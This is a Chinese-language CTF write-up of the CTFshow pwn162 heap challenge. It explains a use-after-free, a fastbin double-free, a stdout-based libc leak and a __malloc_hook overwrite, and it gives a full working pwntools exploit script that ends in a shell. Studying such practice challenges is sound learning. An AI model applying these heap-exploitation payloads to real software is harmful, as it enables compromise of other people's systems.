CTFshow-pwn162

[!NOTE]

有些东西在早些版本是有缺陷的?

  • 远程环境:Ubuntu 16.04

libc 版本为 Ubuntu GLIBC 2.23-0ubuntu11

保护全开

niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn162
[*] '/home/niuyingying/ctf/pwn/pwn162'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

在 ida 中查看程序流程

unsigned __int64 menu()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("=================");
  puts("1. Add ");
  puts("2. View ");
  puts("3. Delete ");
  puts("4. Exit ");
  printf("Your choice : ");
  return __readfsqword(0x28u) ^ v1;
}
int Add()
{
  unsigned int size; // [rsp+0h] [rbp-20h] BYREF
  unsigned int size_4; // [rsp+4h] [rbp-1Ch]
  void *s; // [rsp+8h] [rbp-18h]
  void *buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  s = 0;
  buf = 0;
  size = 0;
  if ( (unsigned int)item_count > 0x13 )
    return puts("Too much!!!");
  s = malloc(0x28u);
  memset(s, 0, 0x28u);
  puts("size of the daniu's name: ");
  __isoc99_scanf("%u", &size);
  if ( size == -1 )
    exit(-1);
  if ( size <= 0x7F && size )
  {
    buf = malloc(size);
    if ( !buf )
    {
      puts("Error !!");
      exit(-1);
    }
    puts("daniu's name:");
    read(0, buf, size);
    *((_QWORD *)s + 1) = buf;
    puts("daniu's message:");
    __isoc99_scanf("%23s", (char *)s + 16);
    *(_DWORD *)s = 1;
    for ( size_4 = 0; size_4 <= 0x13; ++size_4 )
    {
      if ( !daniu_list[size_4] )
      {
        daniu_list[size_4] = s;
        break;
      }
    }
    ++item_count;
    return puts("Added!");
  }
  else
  {
    puts("size error!!");
    return 0;
  }
}
int Delete()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( !item_count )
    return puts("Null!");
  puts("daniu's index:");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 0x13 && daniu_list[v1] )
  {
    *(_DWORD *)daniu_list[v1] = 0;
    free(*(void **)(daniu_list[v1] + 8LL));
    return puts("Deleted!");
  }
  else
  {
    puts("index error!");
    return 0;
  }
}

程序没有正常的 show 函数,发现存在 UAF 漏洞

利用思路是走两段 fastbin attack:首先利用 0x70 fastbin double free,构造堆上 fake chunk,再通过低 16 位局部覆盖把分配打到 _IO_2_1_stdout_ - 0x43 附近,接着改 stdout flags 为 0xFBAD1887,泄漏 libc 地址,计算 libc_base = leak - 0x3c56a3 ,再次 fastbin poison 到 __malloc_hook - 0x23 写入 __realloc_hook = one_gadget__malloc_hook = realloc + 0x10 ,最后触发 Add 函数从而 get shell

这里补一下利用 stdout 泄露 libc 的相关知识:

为了利用 _IO_2_1_stdout_ 泄露内存,通常需要修改其 _flags_IO_write_base_IO_write_ptr 字段

一般将 _flags 设置为 0xfbad18**,其中需要包含:

_IO_MAGIC             = 0xFBAD0000
_IO_CURRENTLY_PUTTING = 0x800
_IO_IS_APPENDING      = 0x1000

这样可以使 stdout 保持在写入状态,并避免 glibc 在输出过程中重新初始化写缓冲区指针

随后,将 _IO_write_base 设置为待泄露内存的起始地址,将 _IO_write_ptr 设置为泄露范围的结束地址,并保证:

_IO_write_ptr > _IO_write_base

当后续调用 putsprintffflush,或其他能够触发 stdout 刷新的操作时,glibc 会将:

[_IO_write_base, _IO_write_ptr)

范围内的数据写入标准输出,从而实现内存泄露

据此编写脚本,这个脚本是在本地关上 ASLR 运行的,远程多试几次就能打通

from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

elf = ELF('./pwn162')
libc = ELF('./libc-2.23.so')

io = process('./pwn162')
# io = remote("pwn.challenge.ctf.show",28253)

# io = gdb.debug('./pwn162', gdbscript='set pagination off\nbreakrva 0xD33\nbreakrva 0xEC1\nc')

def Add(size,text):
    io.recvuntil(b"Your choice : ")
    io.sendline(b"1")
    io.recvuntil(b"size of the daniu's name: \n")
    io.sendline(str(size).encode())
    io.recvuntil(b"daniu's name:\n")
    io.send(text)
    io.recvuntil(b"daniu's message:\n")
    io.send(b"\x00" * 8 + p64(0x71) + b"\x00" * 7)  # 23

def Delete(i):
    io.recvuntil(b"Your choice : ")
    io.sendline(b"3")
    io.recvuntil(b"daniu's index:\n")
    io.sendline(str(i).encode())

# pwndbg> p/x &_IO_2_1_stdout_
# $1 = 0x7ffff7bc5620
key = (libc.sym["_IO_2_1_stdout_"] - 0x43) & 0xffff # 0x55dd

Add(0x60,12 * p64(0x71))    # 0->0x555555a01030
Add(0x60,12 * p64(0x71))    # 1->0x555555a010d0

# fastbins
# 0x70: 0x555555a01030 —▸ 0x555555a010d0 ◂— 0x555555a01030
Delete(0)
Delete(1)
Delete(0)

Add(0x60,b"\x20")   # 2->0
Add(0x60,b"\x20")   # 3->1
Add(0x60,b"\x20")   # 4->0
Add(0x60,p64(0) + p64(0x71))    # 5->0x555555a01020

Delete(0)
Delete(5)
Add(0x60,p64(0) + p64(0x91))    # 6->5

# name chunk
Add(0x20,p64(0xdeadbeef))   # 7->0x555555a01260

# fastbins
# 0x70: 0x555555a01030 —▸ 0x7ffff7bc4b78 ◂— 0x555555a01030
# unsortedbin
# all: 0x555555a01030 —▸ 0x7ffff7bc4b78 ◂— 0x555555a01030
Delete(0)

Delete(5)
Delete(7)

# fastbins
# 0x70: 0x555555a01030 —▸ 0x7ffff7bc55dd (_IO_2_1_stderr_+157) ◂— 0
# unsortedbin
# all [corrupted]
# FD: 0x555555a01030 —▸ 0x7ffff7bc55dd (_IO_2_1_stderr_+157) ◂— 0
# BK: 0x555555a01030 —▸ 0x7ffff7bc4b78 ◂— 0x555555a01030
Add(0x60,p64(0) + p64(0x71) + p16(key))

# fastbins
# 0x70: 0x7ffff7bc55dd (_IO_2_1_stderr_+157) ◂— 0
# unsortedbin
# all [corrupted]
# FD: 0x555555a01030 ◂— 0xdeadbeef
# BK: 0x555555a01030 —▸ 0x7ffff7bc4b78 ◂— 0x555555a01030
Delete(7)
Add(0x60,p64(0xdeadbeef))

Delete(7)
io.recvuntil(b"Your choice : ")
io.sendline(b"1")
io.recvuntil(b"size of the daniu's name: \n")
io.sendline(str(0x60).encode())
io.recvuntil(b"daniu's name:\n")
payload1 = b"\x00" * 0x33 + p64(0xFBAD1887) + p64(0) * 3 + b"\x58"
io.send(payload1)

# 0x7ffff7bc56a3
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))

io.recvuntil(b"daniu's message:\n")
io.send(b"\x00" * 8 + p64(0x71) + b"\x00" * 7)

# 0x7ffff7800000
libc_base = leak - 0x3c56a3
print(hex(libc_base))

one_gadget = libc_base + 0x4526a
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']

Delete(5)
Delete(0)
Delete(5)

Delete(7)
Add(0x60,p64(malloc_hook - 0x23))
Delete(7)
Add(0x60,p64(malloc_hook - 0x23))
Delete(7)
Add(0x60,p64(malloc_hook - 0x23))

Delete(7)
payload2 = b"\x00" * 0xb + p64(one_gadget) + p64(realloc + 0x10)
Add(0x60,payload2)

io.recvuntil(b"Your choice : ")
io.sendline(b"1")

io.interactive()

继续讲一下 stdout 泄露 libc

首先,stdout - 0x43 这个位置不是随便选的,它附近的原始 libc 数据还能让 fake chunk 的 size 字段通过 fastbin size 检查

payload1 = b"\x00" * 0x33 + p64(0xFBAD1887) + p64(0) * 3 + b"\x58"

对应 stdout 结构体大概是:

_IO_2_1_stdout_ + 0x00: _flags
_IO_2_1_stdout_ + 0x08: _IO_read_ptr
_IO_2_1_stdout_ + 0x10: _IO_read_end
_IO_2_1_stdout_ + 0x18: _IO_read_base
_IO_2_1_stdout_ + 0x20: _IO_write_base
_IO_2_1_stdout_ + 0x28: _IO_write_ptr
_IO_2_1_stdout_ + 0x30: _IO_write_end
_IO_2_1_stdout_ + 0x38: _IO_buf_base
_IO_2_1_stdout_ + 0x40: _IO_buf_end

所以 payload1 实际效果是:

先覆盖 stdout 的 _flagsp64(0xFBAD1887)

debug 可以看到:

原来:
0x7ffff7bc5620 <_IO_2_1_stdout_>: 0x00000000fbad2887

覆盖后:
0x7ffff7bc5620 <_IO_2_1_stdout_>: 0x00000000fbad1887

这个 0xFBAD1887 是伪造 _IO_FILE 状态,让 stdout 认为自己有一段缓冲区内容需要输出

接着 p64(0) * 3 清掉:

_IO_read_ptr
_IO_read_end
_IO_read_base

最后覆盖 _IO_write_base 的最低 1 字节为 b"\x58"

使 _IO_write_base0x00007ffff7bc56a3 变成 0x00007ffff7bc5658

_IO_write_ptr 还保持在 0x00007ffff7bc56a3

于是 stdout 会认为:

需要输出的缓冲区 = [0x7ffff7bc5658, 0x7ffff7bc56a3)

这段内存就在 libc 的 stdout 结构体里面,里面有大量 libc 地址。于是程序后面打印:

puts("daniu's message:")

时,会先把这段“伪造出来的缓冲区内容”刷出来,造成 libc 泄露

posted @ 2026-08-10 16:16  AurY1n  阅读(1)  评论(0)    收藏  举报